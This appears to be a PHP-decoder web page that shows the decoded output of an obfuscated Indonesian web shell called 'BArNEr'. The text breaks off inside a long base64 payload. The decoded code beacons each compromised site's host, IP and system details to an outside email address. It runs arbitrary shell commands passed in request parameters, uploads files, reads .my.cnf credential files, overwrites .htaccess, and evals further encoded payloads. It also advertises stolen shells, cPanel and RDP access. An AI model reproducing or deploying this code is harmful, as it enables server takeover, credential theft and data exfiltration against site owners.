Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php set_time_limit(0); error_reporting(0); $u = '7b1sk+JVljj4947ZfIeY3DLLqo2eCo..

Decoded Output download

error_reporting(0);
if (!isset($_SESSION['bajak']))	{
$visitcount = 0;
$web = $_SERVER["HTTP_HOST"];
$inj = $_SERVER["REQUEST_URI"];
$body = "Target ditemukan 
$web$inj";
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE = OFF";}
else {$security= "SAFE_MODE = ON";};
$serper=gethostbyname($_SERVER['SERVER_ADDR']);
$injektor = gethostbyname($_SERVER['REMOTE_ADDR']);
$uname = ".php_uname().";
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
$uname
IP Server = $serper
 IP Injector= $injektor");
mail("[email protected]", "$body","Hasil Bajakan http://$web$inj
$security
$uname
IP Server = $serper
 IP Injector= $injektor");
$_SESSION['bajak'] = 1;
}
if(isset($_GET['cp'])){
eval(gzinflate(base64_decode('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')));
}
if(isset($_GET['scam'])){
eval(gzinflate(base64_decode('dVFfa8IwHHwX/A4hFFTQOBUd1DkUzFCws2urL05KbLO2rk1K00727Ze0FXRseUru7vfnLs2GdqEnMAOaa2Nrj60DXDmO6a62tgOP02ZDi9j5jrbw2w7bjruz1rUglXxAc8q+2pI1tg52F8ulBTuKTagQJKAAzQDECYlisPD9TIJABxBprikHHVqFoBkjCW0dEXxn8HehSYS48My/q0lr8J+atVmpo/RP2vZIYqpHmOep3u+rGEqvPXkqvawQlPnSHfwo4jghQeQNH+eBcoE8nnQ/C+YVLBgPx/NvEnKuwHKQKE5n6uWq8pXmmAhawiElPs2Egl8ynuigJp9iHoj5YDhRDZ7vpEhFX/mlhpwrw7vxe6OCxtrAvb18RZzpYIAeKo1atg1LI7AL4HU1eb/G0ZmCZqPq1IYb7pG87FDnEtI4RaMADSYjtV1f/uoP')));  
}
else {$_SESSION['bajak']++;};
if(isset($_GET['clone'])){
$clobe = $_GET['clone'];
$source = $_SERVER['SCRIPT_FILENAME'];
$desti =$_SERVER['DOCUMENT_ROOT'].'/'.$clone;
rename($source, $desti);
}
system('mkdir magic;cd magic;chmod -R 755 ..');
system('rm -fr index.inc_*');
$safem0de = @ini_get('safe_mode');
if (!$safem0de) {$security= "SAFE_MODE : OFF BArNEr";}
else {$security= "SAFE_MODE : ON BArNEr";}
if(isset($_GET['config'])){
$conf = file_get_contents("../../../.my.cnf");
echo $conf;
}
echo "<title>BArNEr</title><br>";
$dataku = "POWERED BY FULLMAGIC COMMUNITY";
$dataku2 = "ready fresh tools SHELLS FTP CPANEL RDP MAILER";
$dataku3 = "Contact Admin YM : KUNCUNG525";
echo "<font size=2 color=blue><b>".$dataku."</b><br>";
echo "<font size=2 color=red><b>".$dataku2."</b><br>";
echo "<font size=2 color=blue><b>".$dataku3."</b><br>";
echo "<font size=2 color=#888888><b>".$security."</b><br>";
$cur_user="(".get_current_user().")";
echo "<font size=2 color=blue><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>";
echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>";
function pwd() {
$cwd = getcwd();
if($u=strrpos($cwd,'/')){
if($u!=strlen($cwd)-1){
return $cwd.'/';}
else{return $cwd;};
}
elseif($u=strrpos($cwd,'\')){
if($u!=strlen($cwd)-1){
return $cwd.'\';}
else{return $cwd;};
};
}
$file = 'PEZpbGVzICouaHRtPg0KICAgIE9yZGVyIERlbnksQWxsb3cNCiAgICBEZW55IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzICoucCo+DQogICAgT3JkZXIgRGVueSxBbGxvdw0KICAgIERlbnkgZnJvbSBhbGwNCjwvRmlsZXM+DQo8RmlsZXMgKi5QKj4NCiAgICBPcmRlciBEZW55LEFsbG93DQogICAgRGVueSBmcm9tIGFsbA0KPC9GaWxlcz4NCg0KPEZpbGVzIGluZGV4LmluYy5waHA+DQogICAgT3JkZXIgQWxsb3csRGVueQ0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg0KPEZpbGVzIGluZGV4Lmh0bWw+DQogICAgT3JkZXIgQWxsb3csRGVueQ0KICAgIEFsbG93IGZyb20gYWxsDQo8L0ZpbGVzPg==';
$pathx = $_SERVER['DOCUMENT_ROOT'].'/'.'tmp/plupload/.htaccess';
if(file_exists($pathx)) @unlink($pathx);
$content2 = base64_decode($file);
$txt2 = fopen($pathx,"a+");
fwrite($txt2, $content2);
fclose($txt2);
if(isset($_GET['ht'])){
$htx = $_GET['ht'];
$path2x = $_SERVER['DOCUMENT_ROOT'].'/'.$htx;
if(file_exists($path2x)) @unlink($path2x);
$contentz2 = base64_decode($file);
$txtx2 = fopen($path2x,"a+");
fwrite($txtx2, $contentz2);
fclose($txtx2);
}

if(isset($_GET['magic54321'])){
system('cd magic;chmod -R 755 ..');
echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="sh"><input type="Submit" name="command" value="cok"></form>';
echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>';
if(isset($_POST['submit'])){
$uploaddir = pwd();
if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];};
move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name);
if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){
echo "Upload Failed";
} else { echo "Upload Success to ".$uploaddir.$name." Succes! "; 
system('cd magic;chmod -R 555 ..');
}
}
}
system('cd magic;chmod -R 555 ..');
if(isset($_POST['command'])){
$sh = $_POST['sh'];
echo "<pre><font size=3 color=red>".shell_exec($sh)."</font></pre>";
}
elseif(isset($_GET['shxxx'])){
$comd = $_GET['shxxx'];
echo "<pre><font size=3 color=red>".shell_exec($comd)."</font></pre>";
}
else { echo "<pre><font size=3 color=red>".shell_exec('ls -la')."</font></pre>";
}

if(isset($_GET['bps'])){
$bypass = $_GET['bps'];
$by2 = "PD9waHANCiRfY29uZmlnICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAndXJsX3Zhcl9uYW1lJyAgICAgICAgICAgICA9PiAncScsDQogICAgICAgICAgICAgICAgICAgICAgICAnZmxhZ3NfdmFyX25hbWUnICAgICAgICAgICA9PiAnaGwnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2dldF9mb3JtX25hbWUnICAgICAgICAgICAgPT4gJ19fX19wZ2ZhJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdiYXNpY19hdXRoX3Zhcl9uYW1lJyAgICAgID0+ICdfX19fcGJhdm4nLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ21heF9maWxlX3NpemUnICAgICAgICAgICAgPT4gLTEsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWxsb3dfaG90bGlua2luZycgICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Vwb25faG90bGluaycgICAgICAgICAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdjb21wcmVzc19vdXRwdXQnICAgICAgICAgID0+IDANCiAgICAgICAgICAgICAgICAgICAgKTsNCiRfZmxhZ3MgICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiAxLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyZW1vdmVfc2NyaXB0cycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYWNjZXB0X2Nvb2tpZXMnICA9PiAxLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfaW1hZ2VzJyAgICAgPT4gMSwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X3JlZmVyZXInICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAncm90YXRlMTMnICAgICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NF9lbmNvZGUnICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBfdGl0bGUnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nlc3Npb25fY29va2llcycgPT4gMA0KICAgICAgICAgICAgICAgICAgICApOw0KJF9mcm96ZW5fZmxhZ3MgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmNsdWRlX2Zvcm0nICAgID0+IDAsIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2hvd19pbWFnZXMnICAgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiAwLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX21ldGEnICAgICAgPT4gMCwNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF90aXRsZScgICAgID0+IDAsDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiAwDQogICAgICAgICAgICAgICAgICAgICk7ICAgICAgICAgICAgICAgICAgICANCiRfbGFiZWxzICAgICAgICAgICAgPSBhcnJheQ0KICAgICAgICAgICAgICAgICAgICAoDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5jbHVkZV9mb3JtJyAgICA9PiBhcnJheSgnSW5jbHVkZSBGb3JtJywgJ0luY2x1ZGUgbWluaSBVUkwtZm9ybSBvbiBldmVyeSBwYWdlJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3JlbW92ZV9zY3JpcHRzJyAgPT4gYXJyYXkoJ1JlbW92ZSBTY3JpcHRzJywgJ1JlbW92ZSBjbGllbnQtc2lkZSBzY3JpcHRpbmcgKGkuZSBKYXZhU2NyaXB0KScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdhY2NlcHRfY29va2llcycgID0+IGFycmF5KCdBY2NlcHQgQ29va2llcycsICdBbGxvdyBjb29raWVzIHRvIGJlIHN0b3JlZCcpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzaG93X2ltYWdlcycgICAgID0+IGFycmF5KCdTaG93IEltYWdlcycsICdTaG93IGltYWdlcyBvbiBicm93c2VkIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3Nob3dfcmVmZXJlcicgICAgPT4gYXJyYXkoJ1Nob3cgUmVmZXJlcicsICdTaG93IGFjdHVhbCByZWZlcnJpbmcgV2Vic2l0ZScpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdyb3RhdGUxMycgICAgICAgID0+IGFycmF5KCdSb3RhdGUxMycsICdVc2UgUk9UMTMgZW5jb2Rpbmcgb24gdGhlIGFkZHJlc3MnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnYmFzZTY0X2VuY29kZScgICA9PiBhcnJheSgnQmFzZTY0JywgJ1VzZSBiYXNlNjQgZW5jb2RuZyBvbiB0aGUgYWRkcmVzcycpLCANCiAgICAgICAgICAgICAgICAgICAgICAgICdzdHJpcF9tZXRhJyAgICAgID0+IGFycmF5KCdTdHJpcCBNZXRhJywgJ1N0cmlwIG1ldGEgaW5mb3JtYXRpb24gdGFncyBmcm9tIHBhZ2VzJyksIA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0cmlwX3RpdGxlJyAgICAgPT4gYXJyYXkoJ1N0cmlwIFRpdGxlJywgJ1N0cmlwIHBhZ2UgdGl0bGUnKSwgDQogICAgICAgICAgICAgICAgICAgICAgICAnc2Vzc2lvbl9jb29raWVzJyA9PiBhcnJheSgnU2Vzc2lvbiBDb29raWVzJywgJ1N0b3JlIGNvb2tpZXMgZm9yIHRoaXMgc2Vzc2lvbiBvbmx5JykgDQogICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIA0KJF9ob3N0cyAgICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICcjXjEyN1wufDE5MlwuMTY4XC58MTBcLnwxNzJcLigxWzYtOV18MlswLTldfDNbMDFdKVwufGxvY2FsaG9zdCNpJw0KICAgICAgICAgICAgICAgICAgICApOw0KJF9ob3RsaW5rX2RvbWFpbnMgICA9IGFycmF5KCk7DQokX2luc2VydCAgICAgICAgICAgID0gYXJyYXkoKTsNCg0KLy8NCi8vIEVORCBDT05GSUdVUkFCTEUgT1BUSU9OUy4gVGhlIHJpZGUgZm9yIHlvdSBlbmRzIGhlcmUuIENsb3NlIHRoZSBmaWxlLg0KLy8NCg0KJF9pZmxhZ3MgICAgICAgICAgICA9ICcnOw0KJF9zeXN0ZW0gICAgICAgICAgICA9IGFycmF5DQogICAgICAgICAgICAgICAgICAgICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzc2wnICAgICAgICAgID0+IGV4dGVuc2lvbl9sb2FkZWQoJ29wZW5zc2wnKSAmJiB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc0LjMuMCcsICc+PScpLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3VwbG9hZHMnICAgICAgPT4gaW5pX2dldCgnZmlsZV91cGxvYWRzJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnZ3ppcCcgICAgICAgICA9PiBleHRlbnNpb25fbG9hZGVkKCd6bGliJykgJiYgIWluaV9nZXQoJ3psaWIub3V0cHV0X2NvbXByZXNzaW9uJyksDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RyaXBzbGFzaGVzJyA9PiBnZXRfbWFnaWNfcXVvdGVzX2dwYygpDQogICAgICAgICAgICAgICAgICAgICk7DQokX3Byb3hpZnkgICAgICAgICAgID0gYXJyYXkoJ3RleHQvaHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3htbCt4aHRtbCcgPT4gMSwgJ2FwcGxpY2F0aW9uL3hodG1sK3htbCcgPT4gMSwgJ3RleHQvY3NzJyA9PiAxKTsNCiRfdmVyc2lvbiAgICAgICAgICAgPSAnMC41YjInOw0KJF9odHRwX2hvc3QgICAgICAgICA9IGlzc2V0KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkgPyAkX1NFUlZFUlsnSFRUUF9IT1NUJ10gOiAoaXNzZXQoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pID8gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10gOiAnbG9jYWxob3N0Jyk7DQokX3NjcmlwdF91cmwgICAgICAgID0gJ2h0dHAnIC4gKChpc3NldCgkX0VOVlsnSFRUUFMnXSkgJiYgJF9FTlZbJ0hUVFBTJ10gPT0gJ29uJykgfHwgJF9TRVJWRVJbJ1NFUlZFUl9QT1JUJ10gPT0gNDQzID8gJ3MnIDogJycpIC4gJzovLycgLiAkX2h0dHBfaG9zdCAuICgkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA4MCAmJiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSAhPSA0NDMgPyAnOicgLiAkX1NFUlZFUlsnU0VSVkVSX1BPUlQnXSA6ICcnKSAuICRfU0VSVkVSWydQSFBfU0VMRiddOw0KJF9zY3JpcHRfYmFzZSAgICAgICA9IHN1YnN0cigkX3NjcmlwdF91cmwsIDAsIHN0cnJwb3MoJF9zY3JpcHRfdXJsLCAnLycpKzEpOw0KJF91cmwgICAgICAgICAgICAgICA9ICcnOw0KJF91cmxfcGFydHMgICAgICAgICA9IGFycmF5KCk7DQokX2Jhc2UgICAgICAgICAgICAgID0gYXJyYXkoKTsNCiRfc29ja2V0ICAgICAgICAgICAgPSBudWxsOw0KJF9yZXF1ZXN0X21ldGhvZCAgICA9ICRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddOw0KJF9yZXF1ZXN0X2hlYWRlcnMgICA9ICcnOw0KJF9jb29raWUgICAgICAgICAgICA9ICcnOw0KJF9wb3N0X2JvZHkgICAgICAgICA9ICcnOw0KJF9yZXNwb25zZV9oZWFkZXJzICA9IGFycmF5KCk7DQokX3Jlc3BvbnNlX2tleXMgICAgID0gYXJyYXkoKTsgIA0KJF9odHRwX3ZlcnNpb24gICAgICA9ICcnOw0KJF9yZXNwb25zZV9jb2RlICAgICA9IDA7DQokX2NvbnRlbnRfdHlwZSAgICAgID0gJ3RleHQvaHRtbCc7DQokX2NvbnRlbnRfbGVuZ3RoICAgID0gZmFsc2U7DQokX2NvbnRlbnRfZGlzcCAgICAgID0gJyc7DQokX3NldF9jb29raWUgICAgICAgID0gYXJyYXkoKTsNCiRfcmV0cnkgICAgICAgICAgICAgPSBmYWxzZTsNCiRfcXVpdCAgICAgICAgICAgICAgPSBmYWxzZTsNCiRfYmFzaWNfYXV0aF9oZWFkZXIgPSAnJzsNCiRfYmFzaWNfYXV0aF9yZWFsbSAgPSAnJzsNCiRfYXV0aF9jcmVkcyAgICAgICAgPSBhcnJheSgpOw0KJF9yZXNwb25zZV9ib2R5ICAgICA9ICcnOw0KDQovLw0KLy8gRlVOQ1RJT04gREVDTEFSQVRJT05TDQovLw0KDQpmdW5jdGlvbiBzaG93X3JlcG9ydCgkZGF0YSkNCnsgICAgDQogICAgaW5jbHVkZSAkZGF0YVsnd2hpY2gnXSAuICcuaW5jLnBocCc7DQogICAgZXhpdCgwKTsNCn0NCg0KZnVuY3Rpb24gYWRkX2Nvb2tpZSgkbmFtZSwgJHZhbHVlLCAkZXhwaXJlcyA9IDApDQp7DQogICAgcmV0dXJuIHJhd3VybGVuY29kZShyYXd1cmxlbmNvZGUoJG5hbWUpKSAuICc9JyAuIHJhd3VybGVuY29kZShyYXd1cmxlbmNvZGUoJHZhbHVlKSkgLiAoZW1wdHkoJGV4cGlyZXMpID8gJycgOiAnOyBleHBpcmVzPScgLiBnbWRhdGUoJ0QsIGQtTS1ZIEg6aTpzIFxHXE1cVCcsICRleHBpcmVzKSkgLiAnOyBwYXRoPS87IGRvbWFpbj0uJyAuICRHTE9CQUxTWydfaHR0cF9ob3N0J107DQp9DQoNCmZ1bmN0aW9uIHNldF9wb3N0X3ZhcnMoJGFycmF5LCAkcGFyZW50X2tleSA9IG51bGwpDQp7DQogICAgJHRlbXAgPSBhcnJheSgpOw0KDQogICAgZm9yZWFjaCAoJGFycmF5IGFzICRrZXkgPT4gJHZhbHVlKQ0KICAgIHsNCiAgICAgICAgJGtleSA9IGlzc2V0KCRwYXJlbnRfa2V5KSA/IHNwcmludGYoJyVzWyVzXScsICRwYXJlbnRfa2V5LCB1cmxlbmNvZGUoJGtleSkpIDogdXJsZW5jb2RlKCRrZXkpOw0KICAgICAgICBpZiAoaXNfYXJyYXkoJHZhbHVlKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXAgPSBhcnJheV9tZXJnZSgkdGVtcCwgc2V0X3Bvc3RfdmFycygkdmFsdWUsICRrZXkpKTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wWyRrZXldID0gdXJsZW5jb2RlKCR2YWx1ZSk7DQogICAgICAgIH0NCiAgICB9DQogICAgDQogICAgcmV0dXJuICR0ZW1wOw0KfQ0KDQpmdW5jdGlvbiBzZXRfcG9zdF9maWxlcygkYXJyYXksICRwYXJlbnRfa2V5ID0gbnVsbCkNCnsNCiAgICAkdGVtcCA9IGFycmF5KCk7DQoNCiAgICBmb3JlYWNoICgkYXJyYXkgYXMgJGtleSA9PiAkdmFsdWUpDQogICAgew0KICAgICAgICAka2V5ID0gaXNzZXQoJHBhcmVudF9rZXkpID8gc3ByaW50ZignJXNbJXNdJywgJHBhcmVudF9rZXksIHVybGVuY29kZSgka2V5KSkgOiB1cmxlbmNvZGUoJGtleSk7DQogICAgICAgIGlmIChpc19hcnJheSgkdmFsdWUpKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcCA9IGFycmF5X21lcmdlX3JlY3Vyc2l2ZSgkdGVtcCwgc2V0X3Bvc3RfZmlsZXMoJHZhbHVlLCAka2V5KSk7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSBpZiAocHJlZ19tYXRjaCgnI14oW15cW1xdXSspXFsobmFtZXx0eXBlfHRtcF9uYW1lKVxdIycsICRrZXksICRtKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHRlbXBbc3RyX3JlcGxhY2UoJG1bMF0sICRtWzFdLCAka2V5KV1bJG1bMl1dID0gJHZhbHVlOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgcmV0dXJuICR0ZW1wOw0KfQ0KDQpmdW5jdGlvbiB1cmxfcGFyc2UoJHVybCwgJiAkY29udGFpbmVyKQ0Kew0KICAgICR0ZW1wID0gQHBhcnNlX3VybCgkdXJsKTsNCg0KICAgIGlmICghZW1wdHkoJHRlbXApKQ0KICAgIHsNCiAgICAgICAgJHRlbXBbJ3BvcnRfZXh0J10gPSAnJzsNCiAgICAgICAgJHRlbXBbJ2Jhc2UnXSAgICAgPSAkdGVtcFsnc2NoZW1lJ10gLiAnOi8vJyAuICR0ZW1wWydob3N0J107DQoNCiAgICAgICAgaWYgKGlzc2V0KCR0ZW1wWydwb3J0J10pKQ0KICAgICAgICB7DQogICAgICAgICAgICAkdGVtcFsnYmFzZSddIC49ICR0ZW1wWydwb3J0X2V4dCddID0gJzonIC4gJHRlbXBbJ3BvcnQnXTsNCiAgICAgICAgfQ0KICAgICAgICBlbHNlDQogICAgICAgIHsNCiAgICAgICAgICAgICR0ZW1wWydwb3J0J10gPSAkdGVtcFsnc2NoZW1lJ10gPT09ICdodHRwcycgPyA0NDMgOiA4MDsNCiAgICAgICAgfQ0KICAgICAgICANCiAgICAgICAgJHRlbXBbJ3BhdGgnXSA9IGlzc2V0KCR0ZW1wWydwYXRoJ10pID8gJHRlbXBbJ3BhdGgnXSA6ICcvJzsNCiAgICAgICAgJHBhdGggICAgICAgICA9IGFycmF5KCk7DQogICAgICAgICR0ZW1wWydwYXRoJ10gPSBleHBsb2RlKCcvJywgJHRlbXBbJ3BhdGgnXSk7DQogICAgDQogICAgICAgIGZvcmVhY2ggKCR0ZW1wWydwYXRoJ10gYXMgJGRpcikNCiAgICAgICAgew0KICAgICAgICAgICAgaWYgKCRkaXIgPT09ICcuLicpDQogICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgYXJyYXlfcG9wKCRwYXRoKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIGVsc2UgaWYgKCRkaXIgIT09ICcuJykNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBmb3IgKCRkaXIgPSByYXd1cmxkZWNvZGUoJGRpciksICRuZXdfZGlyID0gJycsICRpID0gMCwgJGNvdW50X2kgPSBzdHJsZW4oJGRpcik7ICRpIDwgJGNvdW50X2k7ICRuZXdfZGlyIC49IHN0cnNwbigkZGlyeyRpfSwgJ2FiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVowMTIzNDU2Nzg5JC1fLishKlwnKCksPzpAJjs9JykgPyAkZGlyeyRpfSA6IHJhd3VybGVuY29kZSgkZGlyeyRpfSksICsrJGkpOw0KICAgICAgICAgICAgICAgICRwYXRoW10gPSAkbmV3X2RpcjsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgICR0ZW1wWydwYXRoJ10gICAgID0gc3RyX3JlcGxhY2UoJy8lN0UnLCAnL34nLCAnLycgLiBsdHJpbShpbXBsb2RlKCcvJywgJHBhdGgpLCAnLycpKTsNCiAgICAgICAgJHRlbXBbJ2ZpbGUnXSAgICAgPSBzdWJzdHIoJHRlbXBbJ3BhdGgnXSwgc3RycnBvcygkdGVtcFsncGF0aCddLCAnLycpKzEpOw0KICAgICAgICAkdGVtcFsnZGlyJ10gICAgICA9IHN1YnN0cigkdGVtcFsncGF0aCddLCAwLCBzdHJycG9zKCR0ZW1wWydwYXRoJ10sICcvJykpOw0KICAgICAgICAkdGVtcFsnYmFzZSddICAgIC49ICR0ZW1wWydkaXInXTsNCiAgICAgICAgJHRlbXBbJ3ByZXZfZGlyJ10gPSBzdWJzdHJfY291bnQoJHRlbXBbJ3BhdGgnXSwgJy8nKSA+IDEgPyBzdWJzdHIoJHRlbXBbJ2Jhc2UnXSwgMCwgc3RycnBvcygkdGVtcFsnYmFzZSddLCAnLycpKzEpIDogJHRlbXBbJ2Jhc2UnXSAuICcvJzsNCiAgICAgICAgJGNvbnRhaW5lciA9ICR0ZW1wOw0KDQogICAgICAgIHJldHVy